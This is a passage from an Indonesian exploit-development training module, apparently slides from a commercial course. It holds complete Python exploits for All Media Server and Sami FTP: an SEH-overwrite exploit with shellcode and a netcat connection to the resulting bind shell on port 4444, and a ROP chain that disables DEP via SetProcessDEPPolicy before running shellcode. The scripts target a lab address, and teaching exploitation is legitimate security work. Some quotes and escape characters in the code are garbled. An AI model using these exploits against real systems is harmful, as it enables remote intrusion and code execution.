  • 28. Pada SEH chain kita berhasil merubah nilai didalamnya, sehingga ketika program crash akan di lempar ke alamat 0x41414141 namun karena alamat itu tidak ada maka program kemudian crash. Exercise Lakukan percobaan debugging dan memahami mekanisme SEH. All Media Server Vulnerability Dari percobaan sebelumnya kita sudah dapat mengetahui pertanda celah di All Media Server. Disini kita akan melanjutkan tahapan berikutnya untuk mengetahui berapa karakter agar bisa mencapai SEH Chain menggunakan pattern_create.rb. Melalui terminal kali linux, jalankan perintah : Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/ root@kali:~# ./pattern_create.rb 1500 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac 2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7 Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj 0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5 An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap 8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3 Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw 6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8A y9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1 Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd 4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9 Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk 2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4B m5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7 Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br 0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5 Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx 8Bx9
  • 29. Copy kombinasi karakter diatas kedalam script fuzzer, sehingga menjadi : Restart immunity debugger, kemudian jalankan kembali All Media Server melalui software immunity debugger. Jangan lupa switch online agar port 888 terbuka. Jalankan script fuzzer : Copyright By Hatsecure Advanced Exploit Development #!/usr/bin/python import socket data = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4 Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag 7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9A j0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2 Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An 5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7A p8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0 As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au 3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5A w6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8 Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb 1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3B d4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6 Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh 9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1B k2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4 Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo 7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9B r0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2 Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv 5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7B x8Bx9” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data) s.close() root@kali:~# python allmedia.py
  • 30. Setelah crash, lihat kembali pada SEH chain. Kita sudah berhasil merubah nilai dalam SEH chain, selanjutnya kita tentukan berapa karakter untuk mencapai SEH chain dengan pattern_offset.rb. Dapat disimpulkan bahwa sebanyak 1076 karakter dapat memenuhi variabel lokal dan tambah 4 karakter untuk memenuhi SEH chain. Langkah selanjutnya adalah mencari alamat dari module yang didalamnya terdapat intruksi POP, POP, RETN. Module Intruction Mapping Sebelum melanjutkan ke tahap pencarian perlu anda pahami tentang SafeSEH. SafeSEH sendiri adalah linker option yang digunakan programmer saat melakukan kompilasi. Fungsi SafeSEH adalah menjaga alamat register dari SEH didalam sebuah module. Ketika terjadi exploitasi pada SEH menggunakan metode POP, POP, RETN, maka SafeSEH akan melakukan pengecekan apakah alamat return dari SEH sama dengan yang ada didalam module SafeSEH, jika berbeda SafeSEH akan memaksa untuk kembali ke alamat return semula. Dalam hal ini artinya kita tidak bisa menggunakan module yang memiliki SafeSEH. Kita dapat gunakan perintah immunity debugger untuk mencari module apa saja yang non safe she. Berikut adalah perintahnya : Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/ root@kali:~# ./pattern_create.rb 396A4238 [*] Exact match at offset 1076 !mona nosafeseh
  • 31. Mungkin anda dapat mencobanya sendiri pada komputer, karena hasil screenshot sangat kecil. Intinya pada software All Media Server terdapat 4 module, namun hanya 1 yang memiliki intruksi POP, POP, RETN yaitu module avformat-53.dll. Selanjutnya adalah memulai pencarian, klik view dan pilih executable modules. Pilih avformat-53.dll lalu klik enter. Kita kemudian akan diarahkan ke segmen module. Copyright By Hatsecure Advanced Exploit Development
  • 32. Carilah intruksi POP, POP, RETN dengan tombol CTRL+S. Klik Find, akan muncul intruksi yang kita cari. Alamat yang kita dapat adalah 0x6AB01671. Sekarang tambahkan ke dalam script fuzzer sebelumnya. Dan tambahkan shellcode didalamnya. Copyright By Hatsecure Advanced Exploit Development
  • 33. Copyright By Hatsecure Advanced Exploit Development #!/usr/bin/python import socket, struct data = “x90” * 1076 seh_handler = struct.pack(“<I”, 0x6AB01671) nop = “x90” * 20 shellcode = ("xb8x99xc3x44x9cxd9xe9xd9x74x24xf4x5fx29xc9" + "xb1x56x31x47x13x83xc7x04x03x47x96x21xb1x60" + "x40x2cx3ax99x90x4fxb2x7cxa1x5dxa0xf5x93x51" + "xa2x58x1fx19xe6x48x94x6fx2fx7ex1dxc5x09xb1" + "x9exebx95x1dx5cx6dx6ax5cxb0x4dx53xafxc5x8c" + "x94xd2x25xdcx4dx98x97xf1xfaxdcx2bxf3x2cx6b" + "x13x8bx49xacxe7x21x53xfdx57x3dx1bxe5xdcx19" + "xbcx14x31x7ax80x5fx3ex49x72x5ex96x83x7bx50" + "xd6x48x42x5cxdbx91x82x5bx03xe4xf8x9fxbexff" + "x3axddx64x75xdfx45xefx2dx3bx77x3cxabxc8x7b" + "x89xbfx97x9fx0cx13xacxa4x85x92x63x2dxddxb0" + "xa7x75x86xd9xfexd3x69xe5xe1xbcxd6x43x69x2e" + "x03xf5x30x27xe0xc8xcaxb7x6ex5axb8x85x31xf0" + "x56xa6xbaxdexa1xc9x91xa7x3ex34x19xd8x17xf3" + "x4dx88x0fxd2xedx43xd0xdbx38xc3x80x73x92xa4" + "x70x34x42x4dx9bxbbxbdx6dxa4x11xc8xa9x6ax41" + "x99x5dx8fx75x0cxc2x06x93x44xeax4ex0bxf0xc8" + "xb4x84x67x32x9fxb8x30xa4x97xd6x86xcbx27xfd" + "xa5x60x8fx96x3dx6bx14x86x42xa6x3cxc1x7bx21" + "xb6xbfxcexd3xc7x95xb8x70x55x72x38xfex46x2d" + "x6fx57xb8x24xe5x45xe3x9ex1bx94x75xd8x9fx43" + "x46xe7x1ex01xf2xc3x30xdfxfbx4fx64x8fxadx19" + "xd2x69x04xe8x8cx23xfbxa2x58xb5x37x75x1exba" + "x1dx03xfex0bxc8x52x01xa3x9cx52x7axd9x3cx9c" + "x51x59x4cxd7xfbxc8xc5xbex6ex49x88x40x45x8e" + "xb5xc2x6fx6fx42xdax1ax6ax0ex5cxf7x06x1fx09" +
  • 34. Restart immunity debugger, kemudian jalankan kembali All Media Server melalui immunity debugger. Break pada alamat 0x6AB01671 langkah ini diperlukan untuk analisa shellcode apakah akan dieksekusi dengan baik atau tidak. Setelah itu baru dijalankan kembali exploit yang telah kita buat tadi. Copyright By Hatsecure Advanced Exploit Development root@kali:~# python allmedia.py "xf7xb5x20x18" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data+seh_handler+nop+shellcode) s.close()
  • 35. Jika masih terjadi access volation, itu tidak masalah. Tekan SHIFT+F9 untuk melanjutkan. Dan kemudian kita diarahkan ke POP pertama. Untuk melanjutkan tekan F7. Dan untuk POP kedua kita tekan lagi F7. Copyright By Hatsecure Advanced Exploit Development
  • 36. Dan intruksi RETN juga kita lanjutkan dengan tombol F7. Hingga kita akan diarahkan ke lokasi keberadaan payload kita. Dari gambar diatas ada kejanggalan yakni muncul intruksi JNO SHORT 0216FD90. Padahal seharusnya kita cuman mengisi NOP+SHELLCODE. Jika di perhatikan dengan jeli ternyata intruksi tersebut berasal dari 0x7116B06A alamat ini ternyata berasal dari yang kita masukkan yakni 0x6AB01671. Jadi kesimpulannya kita diarahkan ke byte 1072 bukan langsung ke NOP yang ada di shellcode. Tapi tidak menjadi masalah asalkan shellcode kita berjalan. Alangkah baiknya kita loncati agar intruksi JNO SHORT tidak tereksekusi. Kita dapat menggunakan intruksi JUMP SHORT 10 untuk meloncatinya. Sehingga gambaran paling mudah seperti gambar dibawah ini : Copyright By Hatsecure Advanced Exploit Development
  • 37. Untuk mendapakan opcode dari intruksi JMP SHORT 10 kita bisa menggunakan nasm shell bawaan dari metasploit. Dan kita dapatkan opcode-nya yaitu xebx08. Dan tinggal kita tambahkan ke dalam exploit kita menjadi : Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools root@kali:~# ./nasm_shell.rb nasm > JMP SHORT 10 00000000 EB08 jmp short 0xa nasm > #!/usr/bin/python import socket, struct, time , os data = “x90” * (1076-2) #Agar data+jmpshort = 1076 karakter jmpshort = “xebx08” seh_handler = struct.pack(“<I”, 0x6AB01671) nop = “x90” * 20 shellcode = ("xb8x99xc3x44x9cxd9xe9xd9x74x24xf4x5fx29xc9" + "xb1x56x31x47x13x83xc7x04x03x47x96x21xb1x60" + "x40x2cx3ax99x90x4fxb2x7cxa1x5dxa0xf5x93x51" + "xa2x58x1fx19xe6x48x94x6fx2fx7ex1dxc5x09xb1" + "x9exebx95x1dx5cx6dx6ax5cxb0x4dx53xafxc5x8c" + "x94xd2x25xdcx4dx98x97xf1xfaxdcx2bxf3x2cx6b" + "x13x8bx49xacxe7x21x53xfdx57x3dx1bxe5xdcx19" + "xbcx14x31x7ax80x5fx3ex49x72x5ex96x83x7bx50" + "xd6x48x42x5cxdbx91x82x5bx03xe4xf8x9fxbexff" + "x3axddx64x75xdfx45xefx2dx3bx77x3cxabxc8x7b" + "x89xbfx97x9fx0cx13xacxa4x85x92x63x2dxddxb0" + "xa7x75x86xd9xfexd3x69xe5xe1xbcxd6x43x69x2e" + "x03xf5x30x27xe0xc8xcaxb7x6ex5axb8x85x31xf0" + "x56xa6xbaxdexa1xc9x91xa7x3ex34x19xd8x17xf3" + "x4dx88x0fxd2xedx43xd0xdbx38xc3x80x73x92xa4" +
  • 38. Ketika exploit diatas dijalankan kita akan langsung mendapatkan akses shellcode pada port 4444. Copyright By Hatsecure Advanced Exploit Development "x70x34x42x4dx9bxbbxbdx6dxa4x11xc8xa9x6ax41" + "x99x5dx8fx75x0cxc2x06x93x44xeax4ex0bxf0xc8" + "xb4x84x67x32x9fxb8x30xa4x97xd6x86xcbx27xfd" + "xa5x60x8fx96x3dx6bx14x86x42xa6x3cxc1x7bx21" + "xb6xbfxcexd3xc7x95xb8x70x55x72x38xfex46x2d" + "x6fx57xb8x24xe5x45xe3x9ex1bx94x75xd8x9fx43" + "x46xe7x1ex01xf2xc3x30xdfxfbx4fx64x8fxadx19" + "xd2x69x04xe8x8cx23xfbxa2x58xb5x37x75x1exba" + "x1dx03xfex0bxc8x52x01xa3x9cx52x7axd9x3cx9c" + "x51x59x4cxd7xfbxc8xc5xbex6ex49x88x40x45x8e" + "xb5xc2x6fx6fx42xdax1ax6ax0ex5cxf7x06x1fx09" + "xf7xb5x20x18" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,888)) s.send(data+jmpshort+seh_handler+nop+shellcode) s.close() time.sleep(1) #Menunggu 1 detik os.system(“nc 192.168.56.101 4444”) #Mengubungkan ke backdoor
  • 39. Conclusion Kita dapat meloloskan mekanisme SEH dengan mengarahkan SEH handler ke alamat POP,POP, RETN dengan syarat bahwa module yang kita gunakan tidak di proteksi SafeSEH. Copyright By Hatsecure Advanced Exploit Development
  • 40. 0x03 Bypassing Data Execution Prevention Objective • Memahami mekanisme DEP • Memahami proteksi DEP • Memahami Return Oriented Programming • Mampu mengalahkan proteksi DEP dengan ROP Overview Data Execution Prevention (DEP) merupakan teknologi proteksi yang digunakan untuk mencegah serangan-serangan oveflow. Konsepnya sistem akan mencegah aplikasi atau service mengeksekusi area non-executable memory. Dengan adanya teknologi proteksi ini kita tidak akan bisa mengeksekusi shellcode yang berada didalam stack. Data Execution Prevention Untuk mengaktifkan fitur ini : 1. Click kanan di My Computer 2. Pilih tab "Advanced" 3. Lihat bagian "Performance" lalu pilih "Settings" 4. Pilih tab "Data Execution Prevention" 5. Pilih "turn on DEP for all programs and services except those I select" 6. OK, lalu restart komputer anda. DEP Bypassing Theory Jika kita dapat merubah nilai didalam EIP register kita masih memiliki kesempatan untuk memaksa sistem operasi agar menonaktifkan DEP kemudian mengeksekusi shellcode kita. Copyright By Hatsecure Advanced Exploit Development
  • 41. Testing Data Execution Prevention Peserta bisa mencoba melakukan serangan dengan metode classic stack overflow biasa pada Sistem Operasi (DEP aktif). Case Of Study : Sami FTP Vulnerability Ada beberapa command yang memiliki celah keamanan yakni “PUT”. Kita dapat memanfaatkan celah ini dengan serangan classic overflow. Tetapi pada kondisi DEP aktif kita perlu metode tambahan untuk memaksa sistem operasi mematikan fitur DEP. Case Of Study : Sami FTP Vulnerability Berikut adalah script fuzzer : Copyright By Hatsecure Advanced Exploit Development import socket, struct, sys target = “192.168.56.101” port = 21 fuzz = "x41" * 217 eip = "BBBB" esp = “x90” * 1000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((str(target),int(port))) s.recv(1024) print "[X] Logged in" s.send("USER hatsecurern") s.recv(1024) s.send("PASS hatsecurern") s.recv(1024) s.send("SYSTrn") system = s.recv(1024)
  • 42. Return Oriented Programming Metode yang lebih dikenal ROP ini sering digunakan oleh praktisi keamanan untuk mencoba mengalahkan DEP. Ketika kita mengingat metode bypass SEH, sebenarnya kita sudah membuat ROP sederhana (one line) yakni POP, POP, RETN. Semua intruksi yang diakhiri RETN digolongkan ROP. Untuk intruksi apa saja yang diperlukan untuk menonaktifkan DEP yaitu : • Alamat intruksi : POP EDI, RETN • Alamat intruksi : POP ESI, RETN • Alamat intruksi : POP EBP, RETN • Alamat intruksi : POP EBX, RETN • Alamat intruksi : INC, RETN • Alamat intruksi : PUSHAD, RETN • Alamat intruksi : RETN Alamat tersebut dapat anda cari pada executable modules saat debugging Sami FTP. Sehingga anda perlu menjalankan immunity debugger, lalu buka file PMSystem.exe (Sami FTP). Copyright By Hatsecure Advanced Exploit Development print "[X] Detected "+system print "[X] Sending payload" s.send("PUT "+fuzz+eip+esp+"rn") s.recv(1024) s.close()
  • 43. Klik Executable modules, anda dapat memilih module apa saja. Sebagai contoh disini pertama akan mencari pada module user32.dll. Dan untuk memulai pencarian tekan tombol CTRL+S Copyright By Hatsecure Advanced Exploit Development
  • 44. Maka akan muncul intruksi yang kita butuhkan : Defeating DEP with ROP Carilah intruksi-intruksi lain yang diperlukan, disini akan kita asumsikan bahwa : • Alamat intruksi : POP EDI, RETN = 0x7E41E9F6 • Alamat intruksi : POP ESI, RETN = 0x7E414238 • Alamat intruksi : POP EBP, RETN = 0x7E4185BB • Alamat intruksi : POP EBX, RETN = 0x7E422DFF • Alamat intruksi : PUSHAD, RETN = 0x7E423AD9 • Alamat intruksi : INC EBX, RETN = 0x7CB30B7E • Alamat intruksi : RETN = 0x7E423ADA Untuk menonaktifkan DEP, kita menggunakan fungsi SetProcessDEPPolicy melalui aplikasi DLLExplorer : Copyright By Hatsecure Advanced Exploit Development
  • 45. Dan parameter dari fungsi ini : SetProcessDEPPolicy(0) untuk mematikan DEP sementara. Alamat SetProcessDEPPolicy() adalah 0x7C862144 Sehingga proses yang kita perlukan bagaimana agar bisa mengarahkan EIP untuk mengeksekusi fungsi SetProcessDEPPolicy() dengan parameter yang benar. Disini akan di contohkan ROP sederhana : Returning into our shellcode Jadi ketika di implementasikan pada exploit kita, akan menjadi : Copyright By Hatsecure Advanced Exploit Development eip = struct.pack(“<I”, 0x7E423ADA) #EIP mengeksekusi intruksi RETN ROP = struct.pack("<I", 0x7E41E9F6) #POP EDI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimas$ ROP += struct.pack("<I", 0x7E414238) #POP ESI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimas$ ROP += struct.pack("<I", 0x7E4185BB) #POP EBP, RETN ROP += struct.pack("<I", 0x7C862144) #SetProccessDEPPolicy di POP =>$ ROP += struct.pack("<I", 0x7E422DFF) #POP EBX, RETN ROP += struct.pack("<I", 0xFFFFFFFF) #Nilai ini dikeluarkan & dimasu$ ROP += struct.pack("<I", 0x7CB30B7E) #INC EBX, RETN ROP += struct.pack("<I", 0x7E423AD9) #PUSHAD #Tujuan inc ebx, retn adalah menambahkan 1 nilai pada EBX, sebelumnya EBX nilainya adalah #0xFFFFFFFF + 1 = 0 #Nilai 0 dibutuhkan untuk membuat parameter SetProcessDEPPolicy() menjadi false. #Maksudnya agar membuat => SetProcessDEPPolicy(0) import socket, struct, sys target = “192.168.56.101” port = 21 fuzz = "x41" * 217 eip = struct.pack(“<I”, 0x7E423ADA) #EIP mengeksekusi intruksi RETN ROP = struct.pack("<I", 0x7E41E9F6) #POP EDI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimasukkan ke EDI ROP += struct.pack("<I", 0x7E414238) #POP ESI, RETN ROP += struct.pack("<I", 0x7E423ADA) #Alamat ini dikeluarkan & dimasukkan ke ESI
  • 46. Diatas kita menggunakan shellcode dengan ukuran kecil karena pada Sami FTP kita tidak bisa menuliskan shellcode lebih dari 273 byte. Sehingga jika kita menggunakan generator msfvenom, hasil shellcodenya diatas 320 byte. Copyright By Hatsecure Advanced Exploit Development padding = "BBBB" * 4 ROP += struct.pack("<I", 0x7E4185BB) #POP EBP, RETN ROP += struct.pack("<I", 0x7C862144) #SetProccessDEPPolicy di POP =>EBP ROP += struct.pack("<I", 0x7E422DFF) #POP EBX, RETN ROP += struct.pack("<I", 0xFFFFFFFF) #Nilai ini dikeluarkan & dimasukkan ke EBX ROP += struct.pack("<I", 0x7CB30B7E) #INC EBX, RETN ROP += struct.pack("<I", 0x7E423AD9) #PUSHAD esp = “x90” * 100 shellcode = (“x60x31xc0x31xdbx31xc9x31xd2xbfxeax07x45x7ex50x68x49x4ex46x 4fx89xe3x50x68x2ex2ex2ex2ex68x68x61x68x61x68x48x61x68x61x89 xe1x50x53x51x50xffxd7x61x31xC0x50xBFxFAxCAx81x7CxFFxD7”) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((str(target),int(port))) s.recv(1024) print "[X] Logged in" s.send("USER hatsecurern") s.recv(1024) s.send("PASS hatsecurern") s.recv(1024) s.send("SYSTrn") system = s.recv(1024) print "[X] Detected "+system print "[X] Sending payload" s.send("PUT "+fuzz+padding+eip+ROP+esp+shellcode+"rn") s.recv(1024) s.close()
  • 47. Conclusion Dengan adanya proteksi DEP kini exploitasi overflow menjadi lebih sulit dibanding sebelumnya. Akan tetapi proteksi ini masih bisa dimatikan menggunakan metode return oriented programming. Copyright By Hatsecure Advanced Exploit Development
  • 48. 0x03 Bypassing ASLR in windows 7 Objective • Memahami mekanisme ASLR • Memahami metode sederhana untuk exploitasi dengan ASLR aktif Overview ASLR merupakan mekanisme pengacakan tata letak ruang alamat yang berupa pengaturan area data utama secara acak, biasanya meliputi basis eksekusi dan posisi dari library, heap, dan stack dalam ruang alamat proses itu. ASLR ini menghambat beberapa jenis serangan keamanan dengan membuat lebih sulit bagi penyerang untuk memprediksi alamat target. ASLR Bypass Theory Saat ini ada beberapa teori dan teknik untuk meloloskan ASLR. Yang sering digunakan antaralain : • Module non aslr : EIP diarahkan ke module non aslr. (very easy) • Static memory : Dengan memanfaatkan memori dengan alamat statis (medium) Copyright By Hatsecure Advanced Exploit Development
  • 49. Terimakasih telah membaca modul ini, untuk materi selengkapnya bisa dengan mengikuti training “advanced exploit development” Syllabus baru kami dapat di unduh di : Advanced Exploit Development (Premier Class) http://www.hatsecure.com/download/premier.pdf Advanced Exploit Development (Mega Premier Class) http://www.hatsecure.com/download/megapremier.pdf Training ini akan dibuka mulai agustus atau september 2013 Copyright By Hatsecure Advanced Exploit Development